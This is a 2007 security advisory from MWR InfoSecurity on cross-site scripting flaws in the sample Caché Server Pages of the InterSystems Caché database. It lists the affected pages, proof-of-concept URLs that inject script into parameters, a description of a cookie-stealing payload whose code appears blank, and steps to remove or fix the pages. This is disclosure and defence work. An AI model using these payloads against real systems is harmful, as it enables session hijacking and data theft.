

MWR InfoSecurity Security
Advisory

Sample Caché Server Page
(CSP) XSS Vulnerabilities

4 April 2007



Document Control

Date	Change	Change By
9 th March 2007	Document Created	Martyn Ruks
21 st March 2007	Vendor Response Added	Martyn Ruks
4 th April 2007	Advisory Published	Martyn Ruks

CONTENTS

1	Detailed Vulnerability Description	5
1.1	Introduction	5
1.2	Technical Background.....	5
1.3	Exploit Information	7
1.4	Dependencies	7
2	Recommendations.....	8
3	Reference.....	8

Sample CSP Files XSS Vulnerabilities

Package Name:	InterSystems Caché Database
Date:	2007-03-09
Affected Versions:	All Caché installations containing CSP sample files.

CVE Reference: CVE-2007-0437

Date: 5th March 2007

Severity: Medium

Local/Remote: Remote

Vulnerability Class: Cross Site Scripting

Vendor URL: www.intersystems.com

Version: All Caché installations containing CSP sample files including current release. Specific versions will be added to the document if they are provided by the vendor.

Vendor Response: Vendor has reviewed the advisory and will update documentation to highlight the dangers of running sample content on a Production system. The vulnerabilities will not be resolved as of their response dated 20th March 2007.

Exploit Details Included: Yes

OWASP Designation: A4 Cross Site Scripting

Web Application Language: Caché Server Pages (CSP)

Overview:

The sample Caché Server Pages shipped with the Caché database contain a number of Cross Site Scripting (XSS) vulnerabilities. These could enable an attacker to target users of a web application deployed on the same system.

Impact:

The impact of the vulnerability will depend on the nature of the application located on the same system as the sample code. However, the vulnerability could enable an attacker to hijack a user's session or perform other actions under the security context the application is granted within the user's browser.

Cause:

The affected pages do not adequately sanitise the user input that can be provided to various parameters. The hostile input is also not subject to HTML encoding when being displayed back to a user's browser.

Interim Workaround:

Remove all sample Caché Server Pages as is described within the InterSystems system configuration documentation.

Solution:

All user input supplied to parameters within the sample pages should be subject to appropriate sanitisation. All data returned to the user's browser should also be HTML encoded to prevent the injection of HTML and client side script such as JavaScript. As no patch will be provided by the vendor the only solution at the present time is to remove all sample content.

1 Detailed Vulnerability Description

1.1 Introduction

The Caché database is developed by InterSystems and is described as follows on the company's web site: -

"CACHÉ is the innovative object database that runs SQL five times faster than relational databases. Caché enables rapid Web application development, extraordinary transaction processing speed, massive scalability, and real-time queries against transactional data - with minimal maintenance requirements."

Source: <http://www.intersystems.com/Caché/index.html>

It is possible to access a Caché database through a web application by deploying Caché Server Pages (CSP) code. To demonstrate the capabilities and features of the language a number of sample pages are installed by default. The CSP functionality is described as follows: -

"Server Pages bring all the capabilities of Caché to the demanding environment of the Web, where rapid development and adaptability are as important as high performance and scalability. Caché eliminates the extra processing layers and system-level programming that make Web development difficult and Web applications sluggish. Compatible with off-the-shelf tools, Caché Server Pages are the simplest, quickest way to create superfast, massively scalable Web applications."

Source: <http://www.intersystems.com/Caché/technology/components/csp/index.html>

1.2 Technical Background

The product can be installed such that a web server supporting CSP files is available. A number of sample CSP files provided with the product were discovered to be vulnerable to Cross Site Scripting (XSS) vulnerabilities.

XSS is a condition whereby the content of a web application can be manipulated so that HTML or JavaScript is inserted into the page returned to the user. This code will execute within the context of the user's session and will have access to information such as session cookies. The scope of XSS attacks is often only limited by the creativity of the person performing them. Two different types of XSS vulnerability were identified in the sample CSP pages both "embedded" and "Phishing link".

The most dangerous form of XSS is where the hostile code is permanently stored within the application and is known as "Embedded XSS". This means that hostile client-side code can be executed by every user accessing the affected page.

A number of sample scripts enable users to interact with the default SAMPLES database. One example is a script that allows users to be entered into a list of people and their Social Security numbers. It is possible to use the scripts to enter XSS code into this database in such a form that users will be exploited simply by browsing to other sample content. This is a more dangerous scenario than the other XSS conditions that were identified as an attacker could plant malicious code in the database and then wait for a user to browse the affected files.

Phishing link XSS attacks are a means whereby a user can be tricked into executing malicious code by clicking on a link which has been manipulated in such a way as to appear to be that of a trusted site. Such manipulated links are distributed by mass emailing or instant messages

and typically would include images taken from the legitimate web site to maximise the trust the recipient might place in them.

If an application were to be deployed on the same system as the sample content this could enable an attacker to perform XSS attacks against the application users. The nature of XSS is such that different attacks can be constructed based on the given scenario. The presence of XSS vulnerabilities in sample content can increase the risk the users of an application can be exposed to and therefore they should be eliminated from all web content.

The following sample scripts were discovered to be vulnerable to the Phishing link XSS condition: -

- /csp/samples/cookie.csp
- /csp/samples/loop.csp
- /csp/samples/xmlclasseserror.csp
- /csp/samples/showsource.csp

An example URL that demonstrates the ability of each of these pages to be exploited is included here: -

- /csp/samples/loop.csp?FROM=-1&TO='><SCRIPT>alert("XSS")</script>&STEP=1 &btnSubmit=Go
- /csp/samples/cookie.csp?NAME=test&VALUE=<script>alert("XSS")</script>&EXPIRES=&PATH=/&btnSubmit=Go

The lack of input validation in this script could potentially result in conditions whereby HTTP response splitting can be accomplished. This is due to the ability to use the script to set data that is returned in the HTTP response header. However, this issue has not been fully investigated at the time of publication of this document.

- /csp/samples/xmlclasseserror.csp?ERROR=No%20class%20has%20been%20selected<script>alert("XSS")</script>&CSPToken=<INVALID SESSION ID>
- /csp/samples/showsource.csp?PAGE=/csp/samples/<script>alert("XSS")</script>

The following sample scripts could be used to attack a user through embedded XSS vulnerabilities stored within the SAMPLES database: -

- /csp/samples/object.csp?OBJID=<HOSTILE USER ID>
- /csp/samples/lotteryhistory.csp

1.3 Exploit Information

The following link could be used by an attacker to transmit a user's cookie to an attacker's web server.

```
document.write('')
```

This example is only one method for exploiting an XSS condition and it should be noted that these attacks are often highly dependent on the nature and type of the application deployed on the system.

In the examples that were identified a number of different attack vectors are possible. The hostile code could either be communicated in URLs passed as links through various channels or stored in the SAMPLES database. In the latter the user could be exploited when browsing the sample pages of their own accord and would not need further interaction by an attacker.

1.4 Dependencies

The impact of the XSS vulnerabilities will depend on the nature of the application deployed on the same system as the sample pages. The more complex and business critical the application the greater the impact of the vulnerability being exploited will be. For example, if the application contains an authenticated area this vulnerability could be used to hijack users' sessions. This could result in the unauthorised disclosure and modification of sensitive data and could represent a high risk to the affected organisation.

It should also be noted that the vulnerability in the "xmlclassesserror.csp" file requires a valid session to have been established with the server. Therefore, to exploit the XSS vulnerability in this script an attacker must use a valid session identifier when distributing malicious links directly to targeted users. The effectiveness of the attack using this script will therefore be dependent on the length of time the session is valid for.

If an application developer were to design their site in line with security best practice (for example, by setting the path variable in session cookies) a lower level of risk would be exposed. However, such measures are not implemented correctly within the majority of web applications.

2 Recommendations

It is recommended that the affected parameters in the Caché server pages be subject to strict input validation. The ability to enter error text that is passed as a parameter to CSP files is not in line with best practice and it is therefore recommended that error identifiers be used in combination with a server-side lookup. The deployment of code that enables arbitrary HTTP response header data to be written is also not in line with best practice due to the dangers that exist from HTTP response splitting vulnerabilities. If this functionality is required extreme care must be taken to ensure that all carriage return and newline characters are correctly filtered from user input.

As an additional level of defence it is recommended that all data be HTML encoded before being returned to a user's browser. This will prevent the execution of malicious content if an attacker is able to bypass the input filters.

To reduce the level of risk exposed to users of the software it is also advised that the sample content not be installed by default. Users should then be warned about the dangers of deploying sample content in a Production environment at the time of installation. At the present time InterSystems does recommend to remove sample content from all Productions systems, however, this advice is not always followed by users as has been observed by MWR InfoSecurity.

The vendor will not be producing a security update to resolve this issue and therefore the only solution at the current time is to remove all sample CSP files from all systems.

3 Reference

The following link provides further information about Cross Site Scripting vulnerabilities along with links to other related resources: -

<http://www.owasp.org/index.php/XSS>

MWR InfoSecurity
St. Clement House
1-3 Alencon Link
Basingstoke, RG21 7SB
Tel: +44 (0)1256 300920
Fax: +44 (0)1256 844083
mwrinfosecurity.com